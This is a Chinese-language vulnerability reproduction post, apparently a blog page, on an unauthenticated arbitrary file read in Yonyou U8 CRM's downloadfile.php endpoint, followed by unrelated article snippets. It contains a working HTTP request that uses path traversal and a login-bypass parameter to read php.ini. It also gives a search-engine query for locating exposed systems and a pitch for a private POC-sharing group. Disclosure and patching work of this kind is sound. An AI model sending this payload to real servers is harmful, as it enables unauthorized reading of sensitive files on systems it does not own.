【漏洞复现】用友U8 CRM downloadfile 任意文件读取漏洞
0x01 产品简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。
0x02 漏洞概述
用友 U8 CRM客户关系管理系统 /pub/downloadfile.php接囗处存在任意文件读取漏洞,未经身份验证的远程攻击者通过漏洞可以获取到服务器敏感信息，导致系统处于极不安全的状态。
0x03 搜索引擎
app="用友U8CRM"
0x04 漏洞复现
GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
0x06 修复建议
1、关闭互联网暴露面或设置访问策略
2、部署WAF，针对…/…/…/进行拦截
3、向官方索要补丁修复
相关文章：
【漏洞复现】用友U8 CRM downloadfile 任意文件读取漏洞
0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 /pub/downloadfile.php接囗处存在任意文件读取漏洞,未经身份验证的远程攻击…...
计算机网络 | 期末复习
物理层： 奈氏准则：带宽（w Hz），在不考虑噪音的情况下，最大速率（2W）码元/秒 信噪比S/N：以分贝（dB）为度量单位。信噪比（dB）…...
动手实操微软开源的GraphRAG
微软在今年4月份的时候提出了GraphRAG的概念，然后在上周开源了GraphRAG,Github链接见https://github.com/microsoft/graphrag,截止当前，已有6900Star。 安装教程 官方推荐使用Python3.10-3.12版本，我使用Python3.10版本安装时，在…...
【网络安全】实验七（ISA防火墙的规则设置）
一、实验目的 二、配置环境 打开两台虚拟机，并参照下图，搭建网络拓扑环境，要求两台虚拟机的IP地址要按照图中的标识进行设置，并根据搭建完成情况，勾选对应选项。注：此处的学号本人学号的最后两位数字&…...
实验代码结构介绍
提高模型复用性，让模型对应的配置更加清晰，代码书写条理 学习自https://zhuanlan.zhihu.com/p/409662511 Project ├── checkpoints # 存放模型 ├── data # 定义各种用于训练测试的数据集 ├── eval.py # 测试代码 ├── loss.py # 定义的…...
Java多线程不会？一文解决——
方法一 新建类如MyThread继承Thread类重写run()方法再通过new MyThread类来新建线程通过start方法启动新线程 案例： class MyThread extends Thread {public MyThread(String name) {super(name);}Overridepublic void run() {for(int i0;i<10;i){System.out.…...
Mac上pyenv的安装及使用
Mac上pyenv的安装及使用 安装 brew update brew install pyenv 报错 git -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core fetch --unshallowgit -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask fetch --unshallow那就执行这2句 还报错 git -C /…...
【SpringBoot】IDEA查看spring bean的依赖关系
前因：研究springcloud config组件时，我发现config-server包下的EnvironmentController不在扫描的包路径下却可以响应客户端的请求，这引起了我的注意，我的问题是：EnvironmentController是怎么被添加进bean工厂的。本章就…...
项目代码优化（1）——下单逻辑
给一个电商开发的系统排查，发现漏洞很多。很多经验不够的开发者很容易忽视的逻辑错误陷阱。在给一个项目做二次开发时候，检测到的相关经典案例。这里整理支付和产品相关的逻辑，方便后续查看。，这里进行一些简单的逻辑漏洞梳理与修…...
探索 WebKit 的缓存迷宫：深入理解其高效缓存机制
探索 WebKit 的缓存迷宫：深入理解其高效缓存机制 在当今快速变化的网络世界中，WebKit 作为领先的浏览器引擎之一，其缓存机制对于提升网页加载速度、减少服务器负载以及改善用户体验起着至关重要的作用。本文将深入探讨 WebKit 的缓存机制&am…...
JVM：介绍
文章目录 一、什么是JVM二、JVM的功能1、解释和运行2、内存管理3、即时编译 三、常见的JVM四、Java虚拟机规范五、HotSpot发展历程 一、什么是JVM JVM的全称为Java Virtual Machine，Java虚拟机。本质上是一个运行在计算机上的程序，职责是运行Java字节码…...
和鲸“101”计划领航！和鲸科技携手北中医，共话医学+AI 实验室建设及创新人才培养
为进一步加强医学院校大数据管理与应用、信息管理与信息系统，医学信息工程等专业建设，交流实验室建设、专业发展与人才培养经验，6 月 22 日，由北京中医药大学（简称“北中医”）主办，上海和今信息…...
Linux 网络抓包工具tcpdump编译
tcpdump 的编译步骤 1. 下载源代码 访问 tcpdump 的官方网站（如：http://www.tcpdump.org/）下载最新的源代码压缩包，如tcpdump-4.9.2.tar.gz（注意版本号可能会有所不同）。 2. 解压缩源代码 使用 tar 命令…...
『C++成长记』string模拟实现
🔥博客主页：小王又困了 📚系列专栏：C 🌟人之为学，不日近则日退 ❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、存储结构 二、默认成员函数 📒2.1构造函数 📒2.…...
【c++】C++ IO流
本专栏内容为：C学习专栏，分为初阶和进阶两部分。 通过本专栏的深入学习，你可以了解并掌握C。 💓博主csdn个人主页：小小unicorn ⏩专栏分类：C 🚚代码仓库：小小unicorn的代码仓库&…...
解密智慧校园基础数据的学年管理功能
在智慧校园平台中，学年管理模块构成了教育活动有序运行的基石，它精心设计来适应多样化的学术日程，确保学校的各项事务都能在清晰规划的学年框架内顺利推进。这一核心功能不仅关乎时间的界定，更深层次地融入了教育管理的每一个细微…...
Python酷库之旅-第三方库Pandas(009)
目录 一、用法精讲 19、pandas.read_xml函数 19-1、语法 19-2、参数 19-3、功能 19-4、返回值 19-5、说明 19-6、用法 19-6-1、数据准备 19-6-2、代码示例 19-6-3、结果输出 20、pandas.DataFrame.to_xml函数 20-1、语法 20-2、参数 20-3、功能 20-4、返回值 …...
VPN 的入门介绍
VPN（虚拟专用网络） 简介 虚拟专用网络，简称虚拟专网（VPN），其主要功能是在公用网络上建立专用网络，进行加密通讯。在企业网络中有广泛应用。VPN网关通过对数据包的加密和数据包目标地址的转换实…...
移动UI： 什么特征会被认为是简洁风格，用案例告诉你
什么是简洁风格，恐怕一百个人有一百个是理解，本文通过理论分析案例的方式进行探讨。 移动 UI 中的简洁风格通常具有以下几个特征： 1. 平面化设计： 简洁风格的移动 UI 善于运用平面化设计，即去除过多的阴影、渐变和立…...
除了伦敦外，英国还有这些热门留学城市
在同学们选择出国留学时，首先要考虑到的便是择校的问题。除了排名、专业、录取要求之外，城市因素也占据了很大比重。 抛开学校自身的优势外，一座城市的氛围、成本、环境都是需要考虑的因素。下面就我们来盘点一下英国热门的留学城市。 爱丁…...
用C语言解决‘换硬币’问题？我来教你如何调试和验证你的循环逻辑
用C语言解决‘换硬币’问题？我来教你如何调试和验证你的循环逻辑 当你第一次面对"换硬币"这类组合问题时，那种既兴奋又困惑的感觉我至今记忆犹新。作为C语言初学者，理解多重循环的运作机制就像在迷宫中寻找出口——每次你以为找到了…...
告别虚拟机卡顿：在Windows 11的WSL2里搞定Lichee Nano交叉编译环境
告别虚拟机卡顿：在Windows 11的WSL2里搞定Lichee Nano交叉编译环境 对于嵌入式开发者来说，配置开发环境往往是个令人头疼的问题。传统虚拟机方案虽然能提供完整的Linux体验，但资源占用高、启动慢、与宿主系统交互不便等问题一直困扰着开发者。…...
从多路复用到三维光阵：Arduino驱动8x8x8 LED立方体全解析
1. 项目概述：用Arduino点亮一个三维世界几年前，我第一次在创客展上看到一个8x8x8的LED立方体，那种由数百个光点构成的、在三维空间中流动的动画效果，瞬间就把我吸引住了。它不像普通的平面LED屏，而是真正有“深度”的光…...
鸿蒙系统微博应用锁常见问题解答
为微博设置应用锁后，不少用户会有各种疑问：忘记密码怎么办？会不会影响消息推送？能不能只锁定某些功能？应用锁耗电吗？本文将针对这些高频问题逐一解答，帮助您更好地使用鸿蒙系统（Harm…...
照着用就行：2026 最新降AIGC软件测评与推荐
2026年真正好用的AI论文降重与改写工具，核心看降重效果、去AI味、格式保留、学术适配四大指标。综合实测，千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队，覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 …...
【紧急预警】92%的DeepSeek测试用例生成失败源于这4个隐性配置缺陷——资深SDET连夜整理修复清单
更多请点击： https://codechina.net 第一章：DeepSeek测试用例生成的现状与危机本质 当前，DeepSeek系列大模型（如DeepSeek-Coder、DeepSeek-VL）在代码生成与理解任务中展现出强大能力，但其测试用例自动生成…...
基于ESP32与MQTT的家庭环境监测系统：从传感器选型到数据可视化实战
1. 项目概述与核心价值最近几年，我身边越来越多的朋友开始关注家里的空气质量、温湿度这些看不见摸不着，但又实实在在影响生活舒适度和健康的环境指标。从新装修的房子担心甲醛，到有老人小孩的家庭在意PM2.5和二氧化碳浓度，再到南…...
2026 文章代码高亮方案选型
将基于 Prism.js 或 Highlight.js 的传统高亮方案与基于 Shiki 的现代化高亮方案进行对比，其核心区别在于底层解析原理的不同（正则表达式 vs. TextMate 语法树）。 以下是两种方案的底层原理、各自优缺点、核心对比矩阵以及适用场景的详细分析…...
巨量投放总结
巨量商务管理平台 ： https://business.oceanengine.com 巨量广告投放平台： https://ad.oceanengine.com 商务管理平台 账户 广告组 计划 广告投放平台 层级关系: 广告组 -> 计划 -> 创意 对应FB: 系列 - > 广告组 -> 广告...
Office RibbonX Editor：简单三步打造你的专属Office界面
Office RibbonX Editor：简单三步打造你的专属Office界面 【免费下载链接】office-ribbonx-editor An overhauled fork of the original Custom UI Editor for Microsoft Office, built with WPF 项目地址: https://gitcode.com/gh_mirrors/of/office-ribbonx-edit…...